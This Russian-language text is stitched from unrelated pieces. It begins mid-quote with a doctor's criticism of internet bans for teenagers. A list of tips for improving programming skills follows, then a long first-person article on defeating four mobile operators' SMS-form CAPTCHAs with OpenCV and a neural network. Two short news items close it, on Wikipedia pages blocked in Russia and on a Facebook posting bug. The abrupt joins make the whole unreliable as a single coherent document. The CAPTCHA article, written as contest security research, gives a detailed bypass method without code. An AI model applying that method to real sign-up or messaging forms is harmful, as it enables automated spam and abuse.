Если мы этого не делаем, то мы на самом деле в результате пытаемся оставить ребенка или подростка тем более без информации вообще, потому что теоретически, прекрасно зная психологическую демагогию, ваш покорный слуга может любую информацию показать как вредную или как полезную. Для того чтобы запретить, например, детям, как сейчас пытаются это сделать доступ к wifi в общественных местах, фактически запретить любую мобильную связь — сначала в этих общественных местах должно что-то происходить, чтобы ребенку было интересно и чтобы ему не нужна была это wifi связь в общественных местах. А иначе мы снова и снова нарываемся на злоупотребления.
У нас в стране никому, я даже не про власть имеющих, я про подавляющее большинство нашего населения, у нас в стране никому невозможно объяснить, что нельзя победить „плохое“ американское кино. По той простой причине, что его смотрят, оно вызывает интерес, оно сделано профессионально. Победить американское кино запретом нельзя. Поскольку кажется уже всем, по публикуемым в прессе анекдотам: благодаря циферкам, поставленных в углу экрана, дети понимают, что им нужно смотреть. Оно начинается от 16+…
Победить американское кино, и даже зловредные сайты в интернете, можно только одним способом — создав свое кино, которое будет смотреть не меньшее количество молодых людей и, кстати, у Советского Союза это прекрасно получалось.
Победить вредные сайты в сети, можно только создав полезные и интересные. Поскольку современное информационное пространство нельзя сделать стерильным. Это невозможно, зачем мы врем самим себе?..
Я даже себе не представляю, какое количество наркоманов и самоубийц появятся на улицах, если грандиозные социальные сети, или какой-нибудь Youtube будет бездумно закрыт из-за какого-то полубредового повода. Поскольку это те зоны, в которых молодые люди, да глупо, да нелепо, пытаются реализовывать свой собственный творческий потенциал, и если они это делают глупо, то это значит МЫ ИХ, черт возьми, не научили!..
Такое впечатление что РосПотребНадзор, Минсвязи или кто-то еще, составляя законы, отменяет законы подростковой психологии. Разве хоть кому-нибудь, или педагогу с высшим образованием, не известно, что главная реакция подросткового возраста — послушай, что скажет взрослый и сделай наоборот. Так зачем же мы провоцируем целое поколение?
Я просто врач, который достаточно много общается с молодыми людьми. Честное слово, наверное, с начала 90-х годов я не слышал СТОЛЬКО разговоров об эмиграции. Такое ощущение, что у поколения до 30 лет есть только одна мысль — уехать из этой страны к чёртовой матери. Это мы называем психическим здоровьем?...»
1. Выучить новый язык программирования
Изучение нового языка программирования разовьет новые способы мышления, особенно если новый язык программирования использует парадигмы, с которыми Вы еще не знакомы. Многие из приобретенных способов мышления могут быть применены к языкам, которые уже знаете. Возможно, вы даже полюбите новый для Вас язык программирования настолько, что начнёте использовать его для серьёзных проектов.
Среди языков программирования отличный познавательный эффект и наверстывание опыта дают: Lisp (или Scheme), Форт, PostScript или Factor (стековые языки программирования), Haskell (строго типизированный, чистый функциональный язык) либо OCaml (объектно-ориентированный язык функционального программирования), Пролог (логическое программирование), Erlang (отличные паралельные вычисления).
2. Прочесть хорошую, сложную книгу по программированию
Много знаний можно почерпнуть из книг. Несомненно, практика имеет очень важное значение, но прочитав хотя бы одну хорошую, сложную книгу по программированию, Вы не только проверите своё мышление, но и, вероятнее всего, прокачаете свой скилл в этом вопросе.
Вот пример такой литературы: The Art of Computer Programming (если хотите вскипятить мозг), Structure and Interpretation of Computer Programs, A Discipline of Programming или знаменитую dragon book. По совету ArtemSmirnov: Concepts, Techniques, and Models of Computer Programming.
Конечно, можно прочесть и простенькие книги, но избегайте литературы типа «Для чайников», "… за 24 часа", "… за 3 недели". Такие книги не дадут вам весомой пользы, с точки зрения улучшения навыков программирования.
3. Присоединитесь к open source проекту
Какие преимущества участия в open source проекте? Командная работа (прекрасная вещь, особенно, если раньше работали только самостоятельно), возможность научится копаться в чужом коде, понимая его (достаточно сложная задача).
Известные (и не очень) сообщества разработчиков открытого программного кода: GitHub, Sourceforge, gitorious, BitBucket, Ohloh.
4. Решать программистские головоломки
Это тоже отличный метод улучшения навыков программирования, тем более, что найти задачку на вечер сейчас не проблема. К примеру, математически-ориентированные задачи можно найти на Project Euler, который является одним из самых популярных сайтов с головоломками по программированию. От себя могу посоветовать The Python Challenge.
Также предлагаю Вам попробовать программистский гольф, где программисты пытаются решить задачку, сделав как можно меньше нажатий клавиш. Это может научить Вас многим изотерическим и специальным особенностям языка программирования, сделав работу более творческой и веселой. Попробовать себя в этом специфическом гольфе можно тут.
Ссылка от sl_bug: Timus Online Judge
Ссылки от winger: acm.sgu.ru, codeforces.ru, topcoder.com
Ссылка от black_bunny: acm.mipt.ru
Ссылка от kane: spoj.pl
5. Программа
Каждую новую программу начинайте делать «с нуля». Разрабатывайте самостоятельно всю архитектуру и реализуйте ее. Повторяйте.
Программирование — лучший способ научится программированию. Вы будете учится на своих ошибках, и под конец проекта получите гораздо больше удовольствия, чем от прочтения книги. К тому же вы «набьете руки» и будете быстрее ориентироваться в тех вопросах, в которых сами разобрались.
6. Читайте и изучайте код
Исследуйте интересные коды, например ядро Linux (имейте в виду, это очень большой код). Хорошей операционной системой для учебных целей является MINIX3. Вы сможете познать много новых идиом языка, а еще кое-что о архитектуре ПО. Чтение незнакомого исходного кода — это сложная, но очень полезная работа.
7. Зависайте на сайтах и форумах по программированию, читайте блоги
Зависая на сайтах и форумах по программированию, вы покажете себя и поучитесь у других. Также читайте блоги, желательно почаще. Посоветовать могу Joel on Software (больше не публикует записи, но есть архив, в котором можно найти много интересного), Coding Horror и Lambda the Ultimate. С подачи spmbt: хабрахабр, StackOverFlow
mgarin подсказывает:
forum.sources.ru/ и forum.vingrad.ru/ — 2 крупных форума по всевозможным языкам программирования
8. Пишите о программировании
Заведите свой блог о программировании, и пишите в него, пускай даже для себя. Просматривайте сайты типа Q&A и старайтесь давать ответы. Так вы можете получить знания в вопросе, с которым самостоятельно, возможно, никогда и не столкнулись бы. Если чувствуете себя уверенно — пишите туториалы. Если пишите о программировании — должны быть в курсе освещаемого вопроса по максимуму, использовать соответствующую терминологию, иметь возможность грамотно ответить на поставленный по теме вопрос. Если пишите на англоязычных сайтах — это еще и отличная возможность прокачать свои знания английского.
9. Изучите низкоуровневое программирование
Изучение низкоуровневого программирования полезно для лучшего понимания работы машины. Почитайте о C, возможно освойте ассемблер. Узнайте, как компьютер выполняет программу, и как работает операционная система (на высоком уровне, по крайней мере). Если вы хотите познать серьёзное в низкоуровневом программировании, то почитайте книги по компьютерной организации, операционным системам, встраиваемым системам, по разработке драйверов и.т.д.
hx0 подсказывает:
Если Вы хотите подучить ассемблер и узнать о построении операционных систем — рассмотрите исходный код VictoriaOS, попробуйте написать для неё несколько простейших программ типа echo.
SaveTheRbtz поделился интересной ссылочкой:Думаю стоит упомянуть MIT'шную ОС:
pdos.csail.mit.edu/6.828/xv6/
+ к ней прилагаются замечательные pdf'ки
10. Не работает? Не гонитесь сразу за помощью! Подумайте сами!
Итак, у Вас появилась проблема в коде: не работает, либо работает не так как нужно. Вы хотите ее решить как можно быстрее. Что вы делаете? Пишите сразу на форум, в QA, или просто другу. Так вот, никогда так не делайте. Лучше самому потратить время, пытаясь исправить ошибку самостоятельно. Возьмите бумагу, карандаш и распишите схему работы алгоритма, сверьте с кодом. Не заработало? Отдохните, сходите на прогулку, освежите мозг, попробуйте разобраться снова. Вы уже часик-второй (время зависит от размера проблемы) мучаетесь с этим куском кода? Избили Google в поисках решения? Так и быть, обратитесь за помощью. Во всяком случае пытайтесь решить проблему своими мозгами. Вы потратите время, но прибавите навыков.
P.S.: В некоторых пунктах есть ссылки на хорошие книги, блоги, сайты. Если у вас есть чем дополнить линк-лист (желательно русские ресурсы, книги) — пишите в ЛС, обязательно добавлю.
Именно так называлась работа, представленная мной на Балтийском научно-инженерном конкурсе, и принёсшая мне очаровательную бумажку с римской единичкой, а также новенький ноутбук.
Работа заключалась в распознавании CAPTCHA, используемых крупными операторами сотовой связи в формах отправки SMS, и демонстрации недостаточной эффективности применяемого ими подхода. Чтобы не задевать ничью гордость, будем называть этих операторов иносказательно: красный, жёлтый, зелёный и синий.
Данный текст распространяется на условиях лицензии CC BY-SA.
Проект получил официальное название Captchure и неофициальное Breaking Defective Security Measures. Любые совпадения случайны.
Как ни странно, все (ну, почти все) эти CAPTCHA оказались довольно слабенькими. Наименьший результат — 20% — принадлежит жёлтому оператору, наибольший — 86% — синему. Таким образом, я считаю, что задача «демонстрации неэффективности» была успешно решена.
Причины выбора именно сотовых операторов тривиальны. Уважаемому Научному Жюри я рассказывал байку о том, что «сотовые операторы имеют достаточно денег, чтобы нанять программиста любой квалификации, и, в то же время, им необходимо минимизировать количество спама; таким образом, их CAPTCHA должны быть довольно мощными, что, как показывает моё исследование, совсем не так». На самом же деле всё было гораздо проще. Я хотел набраться опыта, взломав распознав какую-нибудь простую CAPTCHA, и выбрал жертвой CAPTCHA красного оператора. А уже после этого, задним числом родилась вышеупомянутая история.
Итак, ближе к телу. Никакого мегапродвинутого алгоритма для распознавания всех четырёх видов CAPTCHA у меня нет; вместо него я написал 4 различных алгоритма для каждого вида CAPTCHA по отдельности. Однако, несмотря на то, что алгоритмы в деталях различны, в целом они оказались очень похожими.
Как и многие авторы до меня, я разбил задачу распознавания CAPTCHA на 3 подзадачи: предварительную обработку (препроцесс), сегментацию и распознавание. На этапе препроцесса из исходного изображения удаляются различные шумы, искажения и пр. В сегментации из исходного изображения выделяются отдельные символы и производится из постобработка (например, обратный поворот). При распознавании символы по одному обрабатываются предварительно обученной нейросетью.
Существенно различался только препроцесс. Это связано с тем, что в различных CAPTCHA применяются различные методы искажения изображений, соответственно, и алгоритмы для удаления этих искажений сильно различаются. Сегментация эксплуатировала ключевую идею поиска компонентов связности с незначительными наворотами (значительными их пришлось сделать только у жёлто-полосатых). Распознавание было абсолютно одинаковым у трёх операторов из четырёх — опять-таки, отличался только жёлтый оператор.
Код написан на Python с применением библиотек OpenCV и FANN, которые не ставятся без напильника приличных размеров и профессионального инструмента отладки. Поэтому мои результаты будет воспроизвести непросто — по крайней мере, до тех пор, пока авторы вышеупомянутых библиотек не сделают нормальные привязки для Python.
Red
Как я уже сказал, первым кроликом я выбрал именно эту CAPTCHA. Думаю, несколько примеров прояснят ситуацию:
Вот-вот, и мне тоже сначала показалось, что она очень простая… Однако, это впечатление возникло не на пустом месте. Итак:
- Цвета исчерпываются градациями серого, причём символы — светлые, фон — тёмный
- Отсутствует дополнительный шум
- Постоянные искажения (то есть не изменяющиеся от картинки к картинке)
- Символов всегда ровно пять
- Размеры символов приблизительно одинаковы
- Символы почти всегда связны
Казалось, всё это сводит на нет достоинства этой CAPTCHA:
- Слипающиеся буквы
- Мерзкий дырявый шрифт
- Очень маленький размер (83x23 px)
Естественно, эти «достоинства» являются таковыми только с точки зрения сложности автоматического распознавания. В соответствии с трёхэтапной схемой, упомянутой мной ранее, начнём с предварительной обработки изображения, а именно увеличения в 2 раза.
Как я уже упоминал, искажения здесь постоянны, и, даже несмотря на то, что они не являются линейными, избавиться от них нетрудно. Параметры были подобраны эмпирически.
Далее я применяю пороговое преобразование (в народе Threshold) с t=200 и инвертирую изображение:
Наконец, белым закрашиваются мелкие (меньше 10px) чёрные связные области:
Далее следует сегментация. Как я уже сказал, здесь применяется поиск компонентов связности:
Иногда (редко, но бывает) буква распадается на несколько частей; для исправления этого досадного недоразумения я применяю довольно простую эвристику, оценивающую принадлежность нескольких компонентов связности к одному символу. Эта оценка зависит только от горизонтального положения и размеров описывающих прямоугольников (bounding boxes) каждого символа.
Нетрудно заметить, что многие символы оказались объединены в один компонент связности, в связи с чем надо их разделять. Здесь на помощь приходит тот факт, что на изображении всегда ровно 5 символов. Это позволяет с большой точностью вычислять, сколько символов находится в каждом найденном компоненте.
Для объяснения принципа работы такого алгоритма придётся немного углубиться в матчасть. Обозначим количество найденных сегментов за n, а массив ширин (правильно сказал, да?) всех сегментов за widths[n]. Будем считать, что если после вышеупомянутых этапов n > 5, изображение распознать не удалось. Рассмотрим все возможные разложения числа 5 на целые положительные слагаемые. Их немного — всего 16. Каждое такое разложение соответствует некоторой возможной расстановке символов по найденным компонентам связности. Логично предположить, что чем шире получившийся сегмент, тем больше символов он содержит. Из всех разложений пятёрки выберем только те, в которых количество слагаемых равно n. Поделим каждый элемент из widths на widths[0] — как бы нормализуем их. То же самое проделаем со всеми оставшимися разложениями — поделим каждое число в них на первое слагаемое. А теперь (внимание, кульминация!) заметим, что получившиеся упорядоченные n-ки можно мыслить как точки в n-мерном пространстве. С учётом этого, найдём ближайшее по Евклиду разложение пятёрки к нормализованному widths. Это и есть искомый результат.
Кстати, в связи с этим алгоритмом мне в голову пришёл ещё один интересный способ искать все разложения числа на слагаемые, который я, правда, так и не реализовал, закопавшись в питоновских структурах данных. Вкратце — он довольно очевидно вылезает, если заметить, что количество разложений определённой длины совпадает с соответствующим уровнем треугольника Паскаля. Впрочем, я уверен, что этот алгоритм давным-давно известен.
Так вот, после определения количества символов в каждом компоненте наступает следующая эвристика — мы считаем, что разделители между символами тоньше, чем сами символы. Для того чтобы воспользоваться этим сокровенным знанием, расставим по сегменту n-1 разделителей, где n — количество символов в сегменте, после чего в небольшой окрестности каждого разделителя посчитаем проекцию изображения вниз. В результате этого проецирования мы получим информацию о том, сколько в каждом столбце пикселей принадлежат символам. Наконец, в каждой проекции найдём минимум и сдвинем разделитель туда, после чего покромсаем изображение по этим разделителям.
Наконец, распознавание. Как я уже говорил, для него я применяю нейросеть. Для её обучения сначала я прогоняю две сотни изображений под общим заголовком trainset через уже написанные и отлаженные первые два этапа, в результате чего получаю папку с большим количеством аккуратно нарезанных сегментов. Затем руками вычищаю мусор (результаты неправильной сегментации, например), после чего результат привожу к одному размеру и отдаю на растерзание FANN. На выходе получаю обученную нейросеть, которая и используется для распознавания. Эта схема дала сбой только один раз — но об этом позже.
В результате на тестовом наборе (не использованном для обучения, кодовое имя — testset) из 100 картинок были правильно распознаны 45. Не слишком высокий результат — его, конечно, можно улучшить, например, уточнив препроцесс или переделав распознавание, но, честно говоря, мне было лень с этим возиться.
Кроме того, я использовал ещё один критерий оценки производительности алгоритма — средняя ошибка. Вычислялся он следующим образом. Для каждого изображения находилось расстояние Левенштейна между мнением алгоритма об этом изображении и правильным ответом — после чего бралось среднее арифметическое по всем изображениям. Для этого вида CAPTCHA средняя ошибка составила 0.75 символа/изображение. Мне кажется, что это более точный критерий, нежели просто процент распознавания.
Кстати говоря, почти везде (кроме жёлтого оператора) у меня использовалась именно такая схема — 200 картинок в trainset, 100 — в testset.
Green
Следующей целью я выбрал зелёных — хотелось взяться за что-то более серьёзное, чем подбор матрицы искажений.
Достоинства:
- Эффект трёхмерности
- Поворот и смещение
- Неравномерная яркость
Недостатки:
- Символы заметно темнее фона
- Верхнюю сторону прямоугольника хорошо видно — можно использовать для обратного поворота
Оказалось, что даже несмотря на то, что эти недостатки, казалось бы, незначительны, их эксплуатация позволяет весьма эффективно расправиться со всеми достоинствами.
Опять начнём с предварительной обработки. Сначала оценим угол поворота прямоугольника, на котором лежат символы. Для этого применим к исходному изображению оператор Erode (поиск локального минимума), затем Threshold, чтобы выделить остатки прямоугольника и, наконец, инверсию. Получим симпатичное белое пятно на чёрном фоне.
Далее начинается глубокая мысль. Первое. Для оценки угла поворота всего прямоугольника достаточно оценить угол поворота его верхней стороны. Второе. Можно оценить угол поворота верхней стороны поиском прямой, параллельной этой стороне. Третье. Для описания любой прямой, кроме строго вертикальной, достаточно двух параметров — смещения по вертикали от центра координат и угла наклона, причём нас интересует только второй. Четвёртое. Задачу поиска прямой можно решить не очень большим перебором — слишком больших углов поворота там не бывает, да и сверхвысокая точность нам не нужна. Пятое. Для поиска необходимой прямой можно сопоставить каждой прямой оценку того, насколько она близка к искомой, после чего выбрать максимум. Шестое. Самое Важное. Чтобы оценить некоторый угол наклона прямой, представим, что изображения сверху касается прямая с таким углом наклона. Понятно, что из размеров изображения и угла наклона можно однозначно вычислить смещение прямой по вертикали, так что она задаётся однозначно. Далее, постепенно будем двигать эту прямую вниз. В какой-то момент она коснётся белого пятна. Запомним этот момент и площадь пересечения прямой с пятном. Напомню, что прямая имеет 8ми-связное представление на плоскости, поэтому гневные выкрики из зала о том, что прямая имеет одно измерение, а площадь — понятие двумерное, здесь неуместны. Затем ещё некоторое время будем двигать эту прямую вниз, на каждом шаге запоминая площадь пересечения, после чего просуммируем полученные результаты. Эта сумма и будет оценкой данного угла поворота.
Подводя итог вышесказанного: будем искать такую прямую, что при движении её вниз по изображению яркость пикселей, лежащих на этой прямой, возрастает наиболее резко.
Итак, угол поворота найден. Но не следует спешить тут же применить полученное знание. Дело в том, что это испорит связность изображения, а она нам ещё понадобится.
Следующий шаг — отделение символов от фона. Здесь нам здорово поможет тот факт, что символы значительно темнее фона. Вполне логичный шаг со стороны разработчиков — иначе картинку было бы очень сложно прочитать. Кто не верит — может попробовать самостоятельно бинаризовать изображение и убедиться воочию.
Однако, подход «в лоб» — попытка отсечь символы пороговым преобразованием — здесь не работает. Наилучший результат, которого мне удалось добиться — при t=140 — выглядит весьма плачевно. Остаётся слишком много мусора. Поэтому пришлось применить обходной путь. Идея здесь следующая. Символы, как правило, связны. Причём им часто принадлежат самые тёмные точки на изображении. А что если попробовать применить заливку из этих самых тёмных точек, а затем выкинуть слишком маленькие залитые области — очевидный мусор?
Результат, честно говоря, поразителен. На большинстве изображений удаётся избавиться от фона полностью. Впрочем, бывает, что символ распадается на несколько частей — в этом случае может помочь один костыль в сегментации — но об этом чуть позже.
Далее, произведём поворот на найденный ранее угол.
Наконец, комбинация операторов Dilate и Erode избавляет нас от мелких дырок, оставшихся в символах, что помогает упростить распознавание.
Сегментация здесь значительно проще, чем препроцесс. В первую очередь ищем компоненты связности.
Затем объединяем близкие по горизонтали компоненты (процедура ровно та же, что и ранее):
Собственно, всё. Далее следует распознавание, но оно ничем не отличается от вышеупомянутого.
Этот алгоритм позволил достичь результата в 69% успешно распознанных изображений и получить среднюю ошибку 0.3 символа/изображение.
Blue
Итак, третьим статус «defeated» получил синий оператор. Это была, так сказать, передышка перед действительно крупной рыбой…
Здесь сложно что-то записать в достоинства, но я, всё же, попробую:
- Поворот символов — единственное более-менее серьёзное препятствие
- Фоновый шум в виде символов
- Символы иногда касаются друг друга
В противовес этому:
- Фон значительное светлее символов
- Символы хорошо вписываются в прямоугольник
- Разный цвет символов позволяет легко отделять их друг от друга
Итак, препроцесс. Начнём с отсечения фона. Поскольку изображение трёхцветное, порежем его на каналы, а затем выбросим все точки, которые ярче 116 по всем каналам. Получим вот такую симпатичную маску:
Затем преобразуем изображение в цветовое пространство HSV (Википедия). Это сохранит информацию о цвете символов, а заодно и уберёт градиент с их краёв.
Применим к результату полученную ранее маску:
На этом препроцесс заканчивается. Сегментация также весьма тривиальна. Начнём, как всегда, с компонентов связности:
Можно было бы на этом и остановиться, но так получается всего 73%, что меня совсем не устраивает — всего на 4% лучше, чем результат заведомо более сложной CAPTCHA. Итак, следующим шагом будет обратный поворот символов. Здесь нам пригодится уже упомянутый мной факт о том, что местные символы хорошо вписываются в прямоугольник. Идея состоит в том, чтобы найти описывающий прямоугольник для каждого символа, а затем по его наклону вычислить наклон собственно символа. Здесь под описывающим прямоугольником понимается такой, что он, во-первых, содержит в себе все пиксели данного символа, а, во-вторых, имеет наименьшую площадь из всех возможных. Я пользуюсь готовой реализацией алгоритма поиска такого прямоугольника из OpenCV (MinAreaRect2).
Дальше, как всегда, следует распознавание.
Этот алгоритм успешно распознаёт 86% изображений при средней ошибке в 0.16 символа/изображение, что подтверждает предположение о том, что эта CAPTCHA — действительно самая простая. Впрочем, и оператор не самый крупный…
Yellow
Наступает самое интересное. Так сказать, апофеоз моей творческой деятельности :) Эта CAPTCHA — действительно самая сложная как для компьютера, так и, к сожалению для человека.
Достоинства:
- Шум в виде пятен и линий
- Поворот и масштабирование символов
- Близкое расположение символов
Недостатки:
- Очень ограниченная палитра
- Все линии очень тонкие
- Пятна часто не пересекаются с символами
- Угол поворота всех символов приблизительно одинаков
Над первым шагом я думал долго. Первое, что приходило в голову — поиграться с локальными максимумами (Dilate), чтобы удалить мелкий шум. Однако, такой подход приводил к тому, что и от букв мало что оставалось — только рваные очертания. Проблема усугублялась тем, что текстура самих символов неоднородная — это хорошо видно при большом увеличении. Чтобы от неё избавиться, я решил выбрать самый тупой способ — открыл Paint и записал коды всех цветов, встречающихся в изображениях. Оказалось, что всего в этих изображениях встречаются четыре различных текстуры, причём на три из них приходится по 4 различных цвета, а на последнюю — 3; более того, все компоненты этих цветов оказались кратными 51. Далее я составил таблицу цветов, при помощи которой удалось избавиться от текстуры. Впрочем, перед этим «ремапом» я ещё затираю все слишком светлые пиксели, которые обычно находятся по краям символов — иначе приходится помечать их как шум, а потом с ними бороться, в то время как информации в них содержится немного.
Итак, после этого преобразования на изображении находится не более 6 цветов — 4 цвета символов (будем их условно называть серым, синим, светло-зелёным и тёмно-зелёным), белый (цвет фона) и «неизвестный», обозначающий, что цвет пикселя на его месте не удалось отождествить ни с одним из известных цветов. Называть условно — потому что к этому моменту я избавляюсь от трёх каналов и перехожу к привычному и удобному монохромному изображению.
Следующим шагом стала очистка изображения от линий. Здесь ситуацию спасает тот факт, что эти линии очень тонкие — всего 1 пиксель. Напрашивается простой фильтр: пройтись по всему изображению, сравнивая цвет каждого пикселя с цветами его соседей (парами — по вертикали и горизонтали); если соседи по цвету совпадают, и при этом не совпадают с цветом самого пикселя — сделать его таким же, как и соседи. Я применяю чуть более навороченную версию того же фильтра, который работает в два этапа. На первом он оценивает соседей на расстоянии 2, на втором — на расстоянии 1. Это позволяет добиться вот такого эффекта:
Далее я избавляюсь от большинства пятен, а также от «неизвестного» цвета. Для этого я сначала ищу все мелкие связные области (меньшие 15 по площади, если быть точным), наношу их на чёрно-белую маску, после чего результат объединяю с областями, занятыми «неизвестным» цветом.
При помощи этих масок я натравливаю на изображение алгоритм Inpaint (а точнее, его реализацию в OpenCV). Это позволяет весьма эффективно вычистить большую часть мусора из изображения.
Однако, реализация этого алгоритма в OpenCV была создана для работы с фотографиями и видео, а не распознавания искусственно созданных изображений с зашумлённым текстом. После его применения появляются градиенты, чего хотелось бы избежать, чтобы упростить сегментацию. Таким образом, приходится производить дополнительную обработку, а именно — повышение резкости. Для цвета каждого пикселя я вычисляю ближайший к нему из вышеупомянутой таблицы (напомню, там 5 цветов — по одному на каждую из текстур символов и белый).
Наконец, последним шагом препроцесса будет удаление всех оставшихся мелких связных областей. Появляются они после применения Inpaint, поэтому никакого повторения здесь нет.
Переходим к сегментации. Её сильно усложняет тот факт, что символы находятся очень близко друг к другу. Может случиться такая ситуация, что за одним символом не видно половину другого. Совсем плохо становится, когда эти символы ещё и одного цвета. Кроме того, остатки мусора также играют свою роль — может случиться так, что на исходном изображении линии в большом количестве пересекались в одном месте. В этом случае тот алгоритм, который я описал ранее, окажется неспособным от них избавиться.
После недели, проведённой в бесплодных попытках написать сегментацию так же, как и в предыдущих случаях, я забил на это дело и сменил тактику. Моя новая стратегия заключалась в том, чтобы разделить весь процесс сегментации на две части. В первой оценивается угол поворота символов и выполняется обратный поворот. Во второй из уже развёрнутого изображения заново выделяются символы. Итак, приступим. Начнём, как всегда, с поиска компонентов связности.
Затем нужно оценить угол поворота каждого символа. Ещё при работе с оператором-фанатом-гринписа я придумал алгоритм для этого, но написал и применил его только здесь. Для того чтобы проиллюстрировать его работу, проведу аналогию. Представьте себе поршень, который движется на чёрно-белое изображение символа снизу вверх. Ручка поршня, за которую его толкают, расположена вертикально, рабочая площадка, которой он толкает — горизонтально, параллельно нижней части изображения и перпендикулярно ручке. Ручка прикреплена к площадке посередине, и в месте присоединения находится подвижное сочленение, в результате чего площадка может поворачиваться. Да простят меня специалисты по терминологии.
Пусть ручка двигается вверх, толкая перед собой площадку по законам физики. Будем считать, что материальным является только белое изображение символа, а сквозь чёрный фон поршень с лёгкостью проходит. Тогда поршень, дойдя до белого цвета, начнёт с ним взаимодействовать, а именно, поворачиваться — при условии, что сила к ручке всё ещё прикладывается. Остановиться он может в двух случаях: если он упёрся в символ по обе стороны от точки приложения силы, или если он упёрся в символ самой точкой приложения силы. Во всех остальных случаях он сможет продолжать движение. Внимание, кульминация: будем считать, что угол поворота символа — это угол наклона поршня в тот момент, когда он остановился.
Этот алгоритм довольно точен, но заведомо слишком большие результаты (больше 27 градусов) я не учитываю. Из оставшихся я нахожу среднее арифметическое, после чего целиком всё изображение поворачиваю на минус этот угол. Затем выполняю поиск компонентов связности ещё раз.
Дальше становится всё интереснее и интереснее. В предыдущих примерах я начинал различные махинации с полученными сегментами, после чего передавал их нейросети. Здесь всё иначе. Сначала, для того чтобы хотя бы частично восстановить информацию, утраченную после разделения изображения на компоненты связности, я на каждом из них тёмно-серым цветом (96) дорисовываю «фон» — то, что было рядом с вырезанным сегментом, но в него не попало, после чего сглаживаю очертания символов, применяя ту же процедуру, что и в препроцессе для линий (с расстоянием до соседа, равным единице).
Формально (с точки зрения модулей программы) здесь сегментация заканчивается. Внимательный читатель, должно быть, заметил, что нигде не упоминалось разделение слипшихся символов. Да, это так — на распознавание я их передаю именно в таком виде, а допиливаю уже на месте.
Причина заключается в том, что тот метод разделения слипшихся символов, который был описан ранее (с наименьшей проекцией) здесь не работает — шрифт выбран авторами весьма удачно. Поэтому приходится применять другой, более сложный подход. В основе этого подхода лежит идея, что нейросеть можно использовать для сегментации.
В самом начале я описывал алгоритм, позволяющий найти количество символов в сегменте при известой ширине этого сегмента и общем количестве символов. Этот же алгоритм используется и здесь. Для каждого сегмента вычисляется количество символов в нём. Если он там один — ничего допиливать не нужно, и этот сегмент сразу отправляется >>= в нейросеть. Если же символ там не один, то вдоль сегмента на равных расстояниях расставляются потенциальные разделители. Затем каждый разделитель двигается в своей небольшой окрестности, и попутно вычисляется реакция нейросети на символы около этого разделителя, после чего остаётся лишь выбрать максимум (на самом деле, там всё это делает довольно тупой алгоритм, но, в принципе, всё действительно приблизительно так).
Естественно, участие нейросети в процессе сегментации (или досегментации, если угодно) исключает возможность использовать ту схему обучения нейросети, которую я уже описывал. Если точнее, он не позволяет получить самую первую нейросеть — для обучения других может использоваться она. Поэтому я поступаю довольно просто — использую обычные методы сегментации (проекция) для обучения нейросети, в то время как при её использовании в работу вступает вышеописанный алгоритм.
Есть ещё одна тонкость, связанная с использованием нейросети в этом алгоритме. В предыдущих примерах нейросеть обучалась на почти необработанных результатах препроцесса и сегментации. Здесь это позволяло получить не более 12% успешного распознавания. Меня это категорически не устраивало. Поэтому, прежде чем начинать очередную эпоху обучения нейросети, я вносил в исходные изображения различные искажений, грубо моделирующие реальные: добавить белых/серых/чёрных точек, серых линий/кругов/прямоугольников, повернуть. Также я увеличил trainset с 200 изображений до 300 и добавил так называемый validset для проверки качества обучения во время обучения на 100 изображений. Это позволило добиться увеличения производительности где-то процентов на пять, а вкупе с сегментацией нейросетью как раз и дало тот результат, о котором я говорил в начале статьи.
Предоставление статистики осложнено тем, что у меня в итоге получилось две нейросети: одна давала больший процент распознавания, а другая — меньшую ошибку. Здесь я привожу результаты первой.
Всего, как я уже говорил неоднократно, в testset насчитывалось 100 изображений. Из них успешно распознано было 20, неудачно, соответственно, 80, а ошибка составила 1.91 символа на изображение. Заметно хуже, чем у всех других операторов, но и CAPTCHA соответствующая.
Вместо заключения
Всё, что относится к этой работе, я выложил в специальной ветке форума на своём сайте, в частности: исходный код, файлы нейросетей и изображения.
Хотелось бы и в следующем году в чём-нибудь поучаствовать — хотя бы в том же Балтийском конкурсе (а после него, желательно, и в Intel ISEF), но творческий кризис даёт о себе знать — не получается придумать вменяемую тему для проекта, а продолжать возиться с капчами нет никакого желания. Возможно, хабрасообщество сможет мне помочь…
Идеи, которые у меня были, но ни одна из которых мне не нравится — эти функциональная ОС и распределённые (и/или анонимные) сети. К сожалению, первое, вероятно, для меня будет слишком сложно (да и кому они нужны, эти функциональные оси?), а второе уже сделано, и сделано неплохо (I2P, Netsukuku). В то же время, хочется чего-то, что, во-первых, возможно сделать за год (хотя бы вдвоём), и во-вторых, серьёзно претендовало бы на высокое место на том же ISEF. Может быть, вы сможете подсказать, в каком направлении мне следует двигаться?
Основатель Википедии Джимми Уэйлс прокомментировал попытки российских властей заблокировать отдельные страницы энциклопедии, заявив, что Википедия не будет подчиняться давлению слабых и трусливых политиков. Он также отметил, что блокировки всегда предпочтительнее, чем уступки цензорам, пишут Викиновости.
Ранее, 5 апреля, фонд «Викимедиа РУ» получил уведомление о внесении статьи «Курение каннабиса» в «Единый реестр запрещённых сайтов». Позже выяснилось, что на протяжении полугода в «Единый реестр» внесли 15 страниц Википедии, однако Роскомнадзор не уведомлял об этом ни фонд «Викимедиа РУ», ни провайдеров.
При этом действия российских властей привели к «эффекту Стрейзанд» — посещаемость статьи о курении каннабиса резко возросла и её посетили даже те, кто никогда не интересовался этой тематикой:
8 апреля представитель Роскомнадзора заявил «Интерфаксу», что Википедия пошла на сотрудничество и прислала приемлемую редакцию статьи. Однако представители самой Википедии назвали это ложью и попыткой власти сохранить лицо.
Полный комментарий Джимми Уэйлса:
По моему мнению, блокировки всегда предпочтительнее, чем уступки цензорам. Важно понять, что страх полномасштабных блокировок проекта основывается на том, что некоторые (надо полагать, небольшие) интернет-провайдеры неспособные по техническим причинам заблокировать страницы определённых статей, начнут блокировать Википедию целиком, ссылаясь на законы своей страны. Поверьте мне, те провайдеры, которые начнут блокировать сайт целиком, тогда как другие только определённые страницы, будут терять клиентов очень-очень быстро. Мы не слабы — мы очень сильны. Подчиняться давлению слабых и трусливых политиков — тех, которые боятся распространения знаний, — это не путь Википедии.
Если ваша страница в Facebook не является публичной, то другие, по идее, не имеют возможности что-либо на ней писать. Однако разработчик из Палестины Халил Шритех обнаружил уязвимость, которая позволяла любому пользователю разместить ссылку на чужой странице, пишет The Verge.
Шритех сообщил об ошибке в Facebook в надежде получить вознаграждение, но компания проигнорировала проблему, ответив, что это не баг. В итоге он, используя этот же баг, запостил сообщение о нём прямо на страницу Марка Цукерберга.
